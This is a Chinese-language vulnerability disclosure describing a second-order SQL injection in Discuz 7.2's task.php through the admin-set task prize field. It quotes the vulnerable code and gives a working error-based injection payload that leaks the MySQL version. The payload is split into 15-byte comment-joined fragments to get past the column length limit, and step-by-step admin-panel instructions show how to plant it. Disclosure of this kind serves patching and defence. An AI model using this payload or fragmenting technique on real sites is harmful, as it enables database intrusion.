### 简要描述:
第二发
### 详细说明:
以dz7.2来说,漏洞位于task.php 57行,
```
$query = $db->query("SELECT t.*, mt.csc, mt.dateline FROM {$tablepre}tasks t
LEFT JOIN {$tablepre}mytasks mt ON mt.taskid=t.taskid AND mt.uid='$discuz_uid'
WHERE $sql AND t.available='2' $newbieadd ORDER BY displayorder, taskid DESC LIMIT $start_limit, $tpp");
while($task = $db->fetch_array($query)) {
if($task['reward'] == 'magic') {
$magicids[] = $task['prize']; //这里
} elseif($task['reward'] == 'medal') {
$medalids[] = $task['prize'];
} elseif($task['reward'] == 'group') {
$groupids[] = $task['prize'];
}
```
121行,
```
if($magicids) {
$query = $db->query("SELECT magicid, name FROM {$tablepre}magics WHERE magicid IN (".implodeids($magicids).")"); //这里
while($magic = $db->fetch_array($query)) {
$magics[$magic['magicid']] = $magic['name'];
}
}
```
$magicids 参数从数据库中tasks表,prize 取出,这里可以二次注入。
tasks->prize的修改插入权限进对后台管理员开放,所以又一次鸡肋了。
但是到了这里还没结束,仔细看一下prize 为char(15),最多只能存储15个字节,崩溃了。。
不过再仔细看一下代码,峰回路转,绝处逢生,柳暗花明。
原来,$magicids是从tasks列表中取出的数组,然后又进行implodeids拼接。
没错,快使用双截棍哼哼哈嘿!把sql语句拼接一下。。
利用已经构造好的代码:
1')and(select1 from (select count(*),concat(version(),floor(rand(0)*2))x from mysql.user group by x)a)#
按最大长度15分割:
1')and(select/*
*/1 from (/*
*/select/*
*/count(*)/*
*/,concat(/*
*/version(),/*
*/floor(/*
*/rand(0)/*
*/*2))x from/*
*/mysql.user/*
*/group/*
*/by x)a)#
看上去挺不可思议的。测试一下。。。
登录后台,添加任务,这里需要注意三点:
1. 倒序添加
2.选择任务奖励为道具,道具种类需要把select改为input输入以上分割的sql语句(或者抓包改)。
3. 最后一个带有单引号的任务先添加不含有引号的,回到管理界面勾选可用提交后再通过详情加入单引号,否则由于页面sql错误导致无法正常编辑。
保存好以后前台打开
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201407/302335383b8d147423970542d6163f42662da954.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/302335383b8d147423970542d6163f42662da954.jpg)
暂无评论